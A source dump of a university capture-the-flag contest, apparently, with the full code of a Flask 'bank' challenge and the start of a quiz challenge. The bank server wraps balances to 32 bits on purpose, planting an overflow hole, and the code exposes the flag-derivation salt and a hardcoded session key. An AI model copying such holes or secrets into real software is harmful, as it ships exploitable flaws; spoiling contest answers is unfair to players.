https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/dh.zip
--------------------------------------------------------------------------------
/problemset/attachment/gifcode.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/gifcode.zip
--------------------------------------------------------------------------------
/problemset/attachment/huffman.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/huffman.zip
--------------------------------------------------------------------------------
/problemset/attachment/qiantui.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/qiantui.zip
--------------------------------------------------------------------------------
/problemset/attachment/rop.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/rop.zip
--------------------------------------------------------------------------------
/problemset/attachment/toctou.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/toctou.zip
--------------------------------------------------------------------------------
/problemset/attachment/wasm.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/wasm.zip
--------------------------------------------------------------------------------
/problemset/attachment/zipquine.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/zipquine.zip
--------------------------------------------------------------------------------
/src/bank/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY requirements.txt ./
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 | COPY . .
9 |
10 | CMD [ "python", "./web.py" ]
11 |
12 | EXPOSE 80
13 |
--------------------------------------------------------------------------------
/src/bank/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask==1.1.1
2 |
--------------------------------------------------------------------------------
/src/bank/static/main.js:
--------------------------------------------------------------------------------
1 | function getPar(par) {
2 | var local_url = document.location.href;
3 | var get = local_url.indexOf(par + "=");
4 | if (get == -1) {
5 | return "";
6 | }
7 | var get_par = local_url.slice(par.length + get + 1);
8 | var nextPar = get_par.indexOf("&");
9 | if (nextPar != -1) {
10 | get_par = get_par.slice(0, nextPar);
11 | }
12 | return decodeURIComponent(get_par);
13 | };
14 |
15 | function dateFormat(fmt, date) {
16 | let ret;
17 | const opt = {
18 | "Y+": date.getFullYear().toString(), // 年
19 | "m+": (date.getMonth() + 1).toString(), // 月
20 | "d+": date.getDate().toString(), // 日
21 | "H+": date.getHours().toString(), // 时
22 | "M+": date.getMinutes().toString(), // 分
23 | "S+": date.getSeconds().toString() // 秒
24 | // 有其他格式化字符需求可以继续添加,必须转化成字符串
25 | };
26 | for (let k in opt) {
27 | ret = new RegExp("(" + k + ")").exec(fmt);
28 | if (ret) {
29 | fmt = fmt.replace(ret[1], (ret[1].length == 1) ? (opt[k]) : (opt[k].padStart(ret[1].length, "0")))
30 | };
31 | };
32 | return fmt;
33 | }
34 |
35 | var TOKEN = "";
36 | var mydata = {};
37 | var nowbank = 0;
38 | var edata = []
39 |
40 | function renderbank(nexbank = nowbank) {
41 | nowbank = nexbank;
42 |
43 | document.getElementById("brem").innerText = mydata.bank[nowbank][0];
44 | document.getElementById("blo").innerText = mydata.bank[nowbank][1];
45 | document.getElementById("bam").innerText = mydata.bank[nowbank][2];
46 | edata = [mydata.cash, mydata.bank[nowbank][0], Math.max(0,mydata.bank[nowbank][2] - mydata.bank[nowbank][1]), Math.min(mydata.cash, mydata.bank[nowbank][1])];
47 | $("#tobank-0").removeClass("active");
48 | $("#tobank-1").removeClass("active");
49 | $("#tobank-2").removeClass("active");
50 | $("#tobank-"+nowbank).addClass("active");
51 | for (let i = 0; i < 4; i++) {
52 | document.getElementById("amount-" + i).value = 0;
53 | document.getElementById("avail-" + i).innerText = edata[i];
54 | document.getElementById("scol-" + i).value = 0;
55 | }
56 | }
57 |
58 | function changeinput(id) {
59 | gamt = parseInt(document.getElementById("amount-" + id).value);
60 | if (isNaN(gamt)) gamt = 0;
61 | gamt = Math.max(Math.min(gamt, edata[id]), 0);
62 | document.getElementById("amount-" + id).value = gamt;
63 | if (edata[id] == 0)
64 | document.getElementById("scol-" + id).value = 0;
65 | else
66 | document.getElementById("scol-" + id).value = gamt / edata[id];
67 | }
68 |
69 | function changescoll(id) {
70 | gamt = parseFloat(document.getElementById("scol-" + id).value);
71 | if (isNaN(gamt)) gamt = 0;
72 | gamt = Math.max(Math.min(gamt, 1), 0);
73 | document.getElementById("scol-" + id).value = gamt;
74 | document.getElementById("amount-" + id).value = Math.floor(gamt * edata[id]);
75 | }
76 |
77 | function changemax(id) {
78 | gamt = 1;
79 | document.getElementById("scol-" + id).value = gamt;
80 | document.getElementById("amount-" + id).value = Math.floor(gamt * edata[id]);
81 | }
82 |
83 | function donotify(data)
84 | {
85 | let dat=new Date();
86 | let gg=dateFormat("HH:MM:SS",dat)
87 | if(data.success)
88 | {
89 | toastr.success(data.message);
90 | document.getElementById("logger").innerHTML=document.getElementById("logger").innerHTML+gg+" 成功 "+data.message+"\n";
91 | }
92 | else
93 | {
94 | toastr.error(data.message);
95 | document.getElementById("logger").innerHTML=document.getElementById("logger").innerHTML+gg+" 失败 "+data.message+"\n";
96 | }
97 | document.getElementById("logger").scrollTop=document.getElementById("logger").scrollHeight;
98 | }
99 |
100 | function domet(id)
101 | {
102 | methodl=["buy_flag","buy_bread","nextday"]
103 | $.post(
104 | "/do",
105 | { token: TOKEN, method: methodl[id]},
106 | function (data) {
107 | data = JSON.parse(data);
108 | donotify(data);
109 | getinfo();
110 | }
111 | );
112 | }
113 |
114 | function dosubmit(id) {
115 | methodl = ["deposit", "draw", "loan", "repay"]
116 | mdl = parseInt(document.getElementById("amount-" + id).value);
117 | $.post(
118 | "/do",
119 | { token: TOKEN, method: methodl[id] ,bank:nowbank,money:mdl},
120 | function (data) {
121 | data = JSON.parse(data);
122 | donotify(data);
123 | getinfo();
124 | }
125 | );
126 | }
127 |
128 | function getinfo() {
129 | $.post(
130 | "/do",
131 | { token: TOKEN, method: "getinfo" },
132 | function (data) {
133 | data = JSON.parse(data)
134 | if (!data.success) {
135 | alert("获取信息失败:" + data.message);
136 | return;
137 | }
138 | mydata = data.data;
139 | document.getElementById("dayid").innerText = "第 " + mydata.day + " 天";
140 | document.getElementById("assa").innerText = mydata.money;
141 | document.getElementById("cash").innerText = mydata.cash;
142 | document.getElementById("bread").innerText = mydata.bread;
143 | renderbank();
144 | for (let i = 0; i < 4; i++) {
145 | document.getElementById("amount-" + i).oninput = function () { changeinput(i) };
146 | document.getElementById("scol-" + i).oninput = function () { changescoll(i) };
147 | document.getElementById("setmax-" + i).onclick = function () { changemax(i) };
148 | document.getElementById("button-" + i).onclick = function () { dosubmit(i) };
149 | }
150 | }
151 | );
152 | }
153 |
154 | function doreset()
155 | {
156 | $.post(
157 | "/do",
158 | { token: TOKEN, method: "reset"},
159 | function (data) {
160 | data = JSON.parse(data);
161 | document.getElementById("logger").innerHTML="";
162 | donotify(data);
163 | getinfo();
164 | }
165 | );
166 | }
167 |
168 | window.onload = function () {
169 | TOKEN = getPar("token");
170 | if (TOKEN == "") {
171 | alert("token异常,请从比赛平台进入页面");
172 | return
173 | }
174 | getinfo();
175 | }
--------------------------------------------------------------------------------
/src/bank/static/toastr.min.css:
--------------------------------------------------------------------------------
1 | /*
* Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance,
* please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use,
* make sure you copy the url from the website since the url may change between versions.
* */
.toast-title{font-weight:700}.toast-message{-ms-word-wrap:break-word;word-wrap:break-word}.toast-message a,.toast-message label{color:#FFF}.toast-message a:hover{color:#CCC;text-decoration:none}.toast-close-button{position:relative;right:-.3em;top:-.3em;float:right;font-size:20px;font-weight:700;color:#FFF;-webkit-text-shadow:0 1px 0 #fff;text-shadow:0 1px 0 #fff;opacity:.8;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=80);filter:alpha(opacity=80);line-height:1}.toast-close-button:focus,.toast-close-button:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=40);filter:alpha(opacity=40)}.rtl .toast-close-button{left:-.3em;float:left;right:.3em}button.toast-close-button{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.toast-top-center{top:0;right:0;width:100%}.toast-bottom-center{bottom:0;right:0;width:100%}.toast-top-full-width{top:0;right:0;width:100%}.toast-bottom-full-width{bottom:0;right:0;width:100%}.toast-top-left{top:12px;left:12px}.toast-top-right{top:12px;right:12px}.toast-bottom-right{right:12px;bottom:12px}.toast-bottom-left{bottom:12px;left:12px}#toast-container{position:fixed;z-index:999999;pointer-events:none}#toast-container *{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}#toast-container>div{position:relative;pointer-events:auto;overflow:hidden;margin:0 0 6px;padding:15px 15px 15px 50px;width:300px;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-position:15px center;background-repeat:no-repeat;-moz-box-shadow:0 0 12px #999;-webkit-box-shadow:0 0 12px #999;box-shadow:0 0 12px #999;color:#FFF;opacity:.8;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=80);filter:alpha(opacity=80)}#toast-container>div.rtl{direction:rtl;padding:15px 50px 15px 15px;background-position:right 15px center}#toast-container>div:hover{-moz-box-shadow:0 0 12px #000;-webkit-box-shadow:0 0 12px #000;box-shadow:0 0 12px #000;opacity:1;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=100);filter:alpha(opacity=100);cursor:pointer}#toast-container>.toast-info{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=)!important}#toast-container>.toast-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=)!important}#toast-container>.toast-success{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==)!important}#toast-container>.toast-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=)!important}#toast-container.toast-bottom-center>div,#toast-container.toast-top-center>div{width:300px;margin-left:auto;margin-right:auto}#toast-container.toast-bottom-full-width>div,#toast-container.toast-top-full-width>div{width:96%;margin-left:auto;margin-right:auto}.toast{background-color:#030303}.toast-success{background-color:#51A351}.toast-error{background-color:#BD362F}.toast-info{background-color:#2F96B4}.toast-warning{background-color:#F89406}.toast-progress{position:absolute;left:0;bottom:0;height:4px;background-color:#000;opacity:.4;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=40);filter:alpha(opacity=40)}@media all and (max-width:240px){#toast-container>div{padding:8px 8px 8px 50px;width:11em}#toast-container>div.rtl{padding:8px 50px 8px 8px}#toast-container .toast-close-button{right:-.2em;top:-.2em}#toast-container .rtl .toast-close-button{left:-.2em;right:.2em}}@media all and (min-width:241px) and (max-width:480px){#toast-container>div{padding:8px 8px 8px 50px;width:18em}#toast-container>div.rtl{padding:8px 50px 8px 8px}#toast-container .toast-close-button{right:-.2em;top:-.2em}#toast-container .rtl .toast-close-button{left:-.2em;right:.2em}}@media all and (min-width:481px) and (max-width:768px){#toast-container>div{padding:15px 15px 15px 50px;width:25em}#toast-container>div.rtl{padding:15px 50px 15px 15px}}
--------------------------------------------------------------------------------
/src/bank/static/toastr.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | * Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance,
3 | * please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use,
4 | * make sure you copy the url from the website since the url may change between versions.
5 | * */
6 | !function(e){e(["jquery"],function(e){return function(){function t(e,t,n){return g({type:O.error,iconClass:m().iconClasses.error,message:e,optionsOverride:n,title:t})}function n(t,n){return t||(t=m()),v=e("#"+t.containerId),v.length?v:(n&&(v=d(t)),v)}function o(e,t,n){return g({type:O.info,iconClass:m().iconClasses.info,message:e,optionsOverride:n,title:t})}function s(e){C=e}function i(e,t,n){return g({type:O.success,iconClass:m().iconClasses.success,message:e,optionsOverride:n,title:t})}function a(e,t,n){return g({type:O.warning,iconClass:m().iconClasses.warning,message:e,optionsOverride:n,title:t})}function r(e,t){var o=m();v||n(o),u(e,o,t)||l(o)}function c(t){var o=m();return v||n(o),t&&0===e(":focus",t).length?void h(t):void(v.children().length&&v.remove())}function l(t){for(var n=v.children(),o=n.length-1;o>=0;o--)u(e(n[o]),t)}function u(t,n,o){var s=!(!o||!o.force)&&o.force;return!(!t||!s&&0!==e(":focus",t).length)&&(t[n.hideMethod]({duration:n.hideDuration,easing:n.hideEasing,complete:function(){h(t)}}),!0)}function d(t){return v=e("
").attr("id",t.containerId).addClass(t.positionClass),v.appendTo(e(t.target)),v}function p(){return{tapToDismiss:!0,toastClass:"toast",containerId:"toast-container",debug:!1,showMethod:"fadeIn",showDuration:300,showEasing:"swing",onShown:void 0,hideMethod:"fadeOut",hideDuration:1e3,hideEasing:"swing",onHidden:void 0,closeMethod:!1,closeDuration:!1,closeEasing:!1,closeOnHover:!0,extendedTimeOut:1e3,iconClasses:{error:"toast-error",info:"toast-info",success:"toast-success",warning:"toast-warning"},iconClass:"toast-info",positionClass:"toast-top-right",timeOut:5e3,titleClass:"toast-title",messageClass:"toast-message",escapeHtml:!1,target:"body",closeHtml:'',closeClass:"toast-close-button",newestOnTop:!0,preventDuplicates:!1,progressBar:!1,progressClass:"toast-progress",rtl:!1}}function f(e){C&&C(e)}function g(t){function o(e){return null==e&&(e=""),e.replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(//g,">")}function s(){c(),u(),d(),p(),g(),C(),l(),i()}function i(){var e="";switch(t.iconClass){case"toast-success":case"toast-info":e="polite";break;default:e="assertive"}I.attr("aria-live",e)}function a(){E.closeOnHover&&I.hover(H,D),!E.onclick&&E.tapToDismiss&&I.click(b),E.closeButton&&j&&j.click(function(e){e.stopPropagation?e.stopPropagation():void 0!==e.cancelBubble&&e.cancelBubble!==!0&&(e.cancelBubble=!0),E.onCloseClick&&E.onCloseClick(e),b(!0)}),E.onclick&&I.click(function(e){E.onclick(e),b()})}function r(){I.hide(),I[E.showMethod]({duration:E.showDuration,easing:E.showEasing,complete:E.onShown}),E.timeOut>0&&(k=setTimeout(b,E.timeOut),F.maxHideTime=parseFloat(E.timeOut),F.hideEta=(new Date).getTime()+F.maxHideTime,E.progressBar&&(F.intervalId=setInterval(x,10)))}function c(){t.iconClass&&I.addClass(E.toastClass).addClass(y)}function l(){E.newestOnTop?v.prepend(I):v.append(I)}function u(){if(t.title){var e=t.title;E.escapeHtml&&(e=o(t.title)),M.append(e).addClass(E.titleClass),I.append(M)}}function d(){if(t.message){var e=t.message;E.escapeHtml&&(e=o(t.message)),B.append(e).addClass(E.messageClass),I.append(B)}}function p(){E.closeButton&&(j.addClass(E.closeClass).attr("role","button"),I.prepend(j))}function g(){E.progressBar&&(q.addClass(E.progressClass),I.prepend(q))}function C(){E.rtl&&I.addClass("rtl")}function O(e,t){if(e.preventDuplicates){if(t.message===w)return!0;w=t.message}return!1}function b(t){var n=t&&E.closeMethod!==!1?E.closeMethod:E.hideMethod,o=t&&E.closeDuration!==!1?E.closeDuration:E.hideDuration,s=t&&E.closeEasing!==!1?E.closeEasing:E.hideEasing;if(!e(":focus",I).length||t)return clearTimeout(F.intervalId),I[n]({duration:o,easing:s,complete:function(){h(I),clearTimeout(k),E.onHidden&&"hidden"!==P.state&&E.onHidden(),P.state="hidden",P.endTime=new Date,f(P)}})}function D(){(E.timeOut>0||E.extendedTimeOut>0)&&(k=setTimeout(b,E.extendedTimeOut),F.maxHideTime=parseFloat(E.extendedTimeOut),F.hideEta=(new Date).getTime()+F.maxHideTime)}function H(){clearTimeout(k),F.hideEta=0,I.stop(!0,!0)[E.showMethod]({duration:E.showDuration,easing:E.showEasing})}function x(){var e=(F.hideEta-(new Date).getTime())/F.maxHideTime*100;q.width(e+"%")}var E=m(),y=t.iconClass||E.iconClass;if("undefined"!=typeof t.optionsOverride&&(E=e.extend(E,t.optionsOverride),y=t.optionsOverride.iconClass||y),!O(E,t)){T++,v=n(E,!0);var k=null,I=e(""),M=e(""),B=e(""),q=e(""),j=e(E.closeHtml),F={intervalId:null,hideEta:null,maxHideTime:null},P={toastId:T,state:"visible",startTime:new Date,options:E,map:t};return s(),r(),a(),f(P),E.debug&&console&&console.log(P),I}}function m(){return e.extend({},p(),b.options)}function h(e){v||(v=n()),e.is(":visible")||(e.remove(),e=null,0===v.children().length&&(v.remove(),w=void 0))}var v,C,w,T=0,O={error:"error",info:"info",success:"success",warning:"warning"},b={clear:r,remove:c,error:t,getContainer:n,info:o,options:{},subscribe:s,success:i,version:"2.1.3",warning:a};return b}()})}("function"==typeof define&&define.amd?define:function(e,t){"undefined"!=typeof module&&module.exports?module.exports=t(require("jquery")):window.toastr=t(window.jQuery)});
7 | //# sourceMappingURL=toastr.js.map
8 |
--------------------------------------------------------------------------------
/src/bank/web.py:
--------------------------------------------------------------------------------
1 | #pip install pyJWT
2 |
3 | import os
4 | import json
5 | import math
6 | import time
7 | from datetime import timedelta
8 | import re
9 | from shutil import copyfile
10 | from flask import Flask,request,render_template,url_for,send_from_directory,make_response
11 | from flask import jsonify
12 | from hashlib import md5
13 | import queue
14 |
15 |
16 | import logging
17 | log=logging.getLogger("bank")
18 | log.setLevel(logging.WARNING)
19 | app = Flask("bank")
20 |
21 | def toint32(x):
22 | x%=(2**32)
23 | if x>=2**31:
24 | x-=2**32
25 | return x
26 |
27 | class User:
28 | def __init__(self,token):
29 | self.bread=0
30 | self.cash=500
31 | self.allmoney=500
32 | self.day=1
33 | self.bank=[[0,0,0],[0,0,0],[0,0,0]]
34 | self.token=token
35 | def getinfo(self):
36 | return {"bread":self.bread,"day":self.day,"cash":self.cash,"money":self.allmoney,"bank":self.bank}
37 | def update(self):
38 | self.allmoney=self.cash
39 | for x in self.bank:
40 | self.allmoney+=x[0]-x[1]
41 | self.allmoney=toint32(self.allmoney)
42 | def deposit(self,bkid,money):
43 | money=toint32(money)
44 | if bkid<0 or bkid>=3:
45 | return (False,"银行不存在")
46 | if money>self.cash:
47 | return (False,"现金不足")
48 | if money<=0:
49 | return (False,"非法金额")
50 | self.cash-=money
51 | self.cash=toint32(self.cash)
52 | self.bank[bkid][0]+=money
53 | self.bank[bkid][0]=toint32(self.bank[bkid][0])
54 | self.bank[bkid][2]=min(max(self.bank[bkid][2],(self.bank[bkid][0]-self.bank[bkid][1])*10),2000000000)
55 | self.update()
56 | return (True,"存钱成功")
57 | def draw(self,bkid,money):
58 | money=toint32(money)
59 | if bkid<0 or bkid>=3:
60 | return (False,"银行不存在")
61 | if money>self.bank[bkid][0]:
62 | return (False,"余额不足")
63 | if money<=0:
64 | return (False,"非法金额")
65 | self.cash+=money
66 | self.cash=toint32(self.cash)
67 | self.bank[bkid][0]-=money
68 | self.bank[bkid][0]=toint32(self.bank[bkid][0])
69 | self.bank[bkid][2]=min(max(self.bank[bkid][2],(self.bank[bkid][0]-self.bank[bkid][1])*10),2000000000)
70 | self.update()
71 | return (True,"取钱成功")
72 | def loan(self,bkid,money):
73 | money=toint32(money)
74 | if bkid<0 or bkid>=3:
75 | return (False,"银行不存在")
76 | if money<=0:
77 | return (False,"非法金额")
78 | if money>toint32(self.bank[bkid][2]-self.bank[bkid][1]):
79 | return (False,"超出可用额度")
80 | self.cash+=money
81 | self.cash=toint32(self.cash)
82 | self.bank[bkid][1]+=money
83 | self.bank[bkid][1]=toint32(self.bank[bkid][1])
84 | self.bank[bkid][2]=min(max(self.bank[bkid][2],(self.bank[bkid][0]-self.bank[bkid][1])*10),2000000000)
85 | self.update()
86 | return (True,"借款成功")
87 | def repay(self,bkid,money):
88 | money=toint32(money)
89 | if bkid<0 or bkid>=3:
90 | return (False,"银行不存在")
91 | if money>self.cash:
92 | return (False,"现金不足")
93 | if money<=0 or money>self.bank[bkid][1]:
94 | return (False,"非法金额")
95 | self.cash-=money
96 | self.cash=toint32(self.cash)
97 | self.bank[bkid][1]-=money
98 | self.bank[bkid][1]=toint32(self.bank[bkid][1])
99 | self.bank[bkid][2]=min(max(self.bank[bkid][2],(self.bank[bkid][0]-self.bank[bkid][1])*10),2000000000)
100 | self.update()
101 | return (True,"还款成功")
102 | def buy_bread(self):
103 | if self.cash<10:
104 | return (False,"现金不足")
105 | self.cash-=10
106 | self.cash=toint32(self.cash)
107 | self.bread+=1
108 | self.bread=toint32(self.bread)
109 | self.update()
110 | return (True,"已购买1面包")
111 | def buy_flag(self):
112 | for x in self.bank:
113 | if x[1]!=0:
114 | return (False,"欠这么多钱还想买flag?")
115 | if self.cash<999888777:
116 | return (False,"这么穷还想买flag?")
117 | self.cash-=999888777
118 | self.cash=toint32(self.cash)
119 | self.update()
120 | return (True,"flag: flag{SucH_Na!V3_b4Nk_%s}"%(md5(("EZyB4Nk_NN00_!!"+self.token).encode()).hexdigest()[:8]))
121 | def nextday(self):
122 | if self.bread<1:
123 | return (False,"没有面包充饥")
124 | self.bread-=1
125 | self.bread=toint32(self.bread)
126 | self.day+=1
127 | for x in self.bank:
128 | x[0]=x[0]+x[0]//50
129 | x[0]=toint32(x[0])
130 | x[1]=x[1]+x[1]//20
131 | x[1]=toint32(x[1])
132 | x[2]=min(max(x[2],(x[0]-x[1])*10),2000000000)
133 | self.update()
134 | return (True,"你醒了?你已经睡了整整一晚了!")
135 |
136 | userlist={}
137 |
138 | @app.route('/',methods=["GET"])
139 | def index():
140 | response = make_response(render_template('index.html'))
141 | return response
142 |
143 | @app.route('/do',methods=["POST"])
144 | def dologin():
145 | try:
146 | global userlist
147 | token=request.form["token"]
148 | obj={"success":False,"message":"方法未定义"}
149 | if token=="":
150 | obj['message']="token异常,请从比赛平台进入页面"
151 | return json.dumps(obj)
152 | method=request.form["method"]
153 | if not token in userlist:
154 | userlist[token]=User(token)
155 | ob=userlist[token]
156 | if method=='getinfo':
157 | obj["success"]=True
158 | obj["message"]="获取成功"
159 | obj["data"]=ob.getinfo()
160 | elif method=="reset":
161 | obj["success"]=True
162 | obj["message"]="已重开"
163 | userlist[token]=User(token)
164 | elif method in ['deposit','draw','loan','repay']:
165 | bkid=int(request.form["bank"])
166 | money=int(request.form["money"])
167 | rts,trm=getattr(ob,method)(bkid,money)
168 | obj["success"]=rts
169 | obj["message"]=trm
170 | elif method in ['buy_bread','buy_flag','nextday']:
171 | rts,trm=getattr(ob,method)()
172 | obj["success"]=rts
173 | obj["message"]=trm
174 |
175 | return json.dumps(obj)
176 | except:
177 | obj={"success":False,"message":"系统错误"}
178 | return json.dumps(obj)
179 |
180 |
181 | app.run(host="0.0.0.0",port=80,debug=False,threaded=True)#!!!!!!!
182 |
--------------------------------------------------------------------------------
/src/choice/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY game ./
6 |
7 | RUN pip install --no-cache-dir -r requirements.txt
8 | RUN mkdir -p db
9 |
10 | CMD ["python", "app.py"]
11 | EXPOSE 5000
12 |
--------------------------------------------------------------------------------
/src/choice/game/app.py:
--------------------------------------------------------------------------------
1 | from flask import *
2 | import time
3 | from flag import checktoken, getflag
4 | import db
5 | import json
6 | import re
7 |
8 | MAX_ANSWER_LEN = 32
9 |
10 | def MIN_INTERVAL_S_AFTER(submitted_count):
11 | return 3600 * (2 ** (submitted_count-1))
12 |
13 | def flags_based_on_correct_count(token, count):
14 | flags = []
15 | if count>=5:
16 | flags.append(getflag(token, 0))
17 | if count>=8:
18 | flags.append(getflag(token, 1))
19 | return flags
20 |
21 | with open('db/problemset.json', encoding='utf-8') as f:
22 | _problemset = json.load(f)
23 | for p in _problemset:
24 | for ans in p['answer']:
25 | assert re.match(p['answer_validator'], ans)
26 |
27 | problemset = [{**p, 'answer': 'you guess'} for p in _problemset]
28 | answers = {p['id']: p['answer'] for p in _problemset}
29 |
30 | print('got', len(problemset), 'questions')
31 |
32 | app = Flask(__name__)
33 | app.secret_key = 'gy29rkl8xzgdjs0fz45p4c1'
34 |
35 | @app.template_filter(name='time')
36 | def filter_time(s):
37 | return time.ctime(s)
38 |
39 | @app.route('/token', methods=['GET', 'POST'])
40 | def token():
41 | if request.method=='POST':
42 | req_token = request.form['token'].strip()
43 | if checktoken(req_token):
44 | session['token'] = req_token
45 | return redirect('/')
46 | else:
47 | flash('Token无效')
48 |
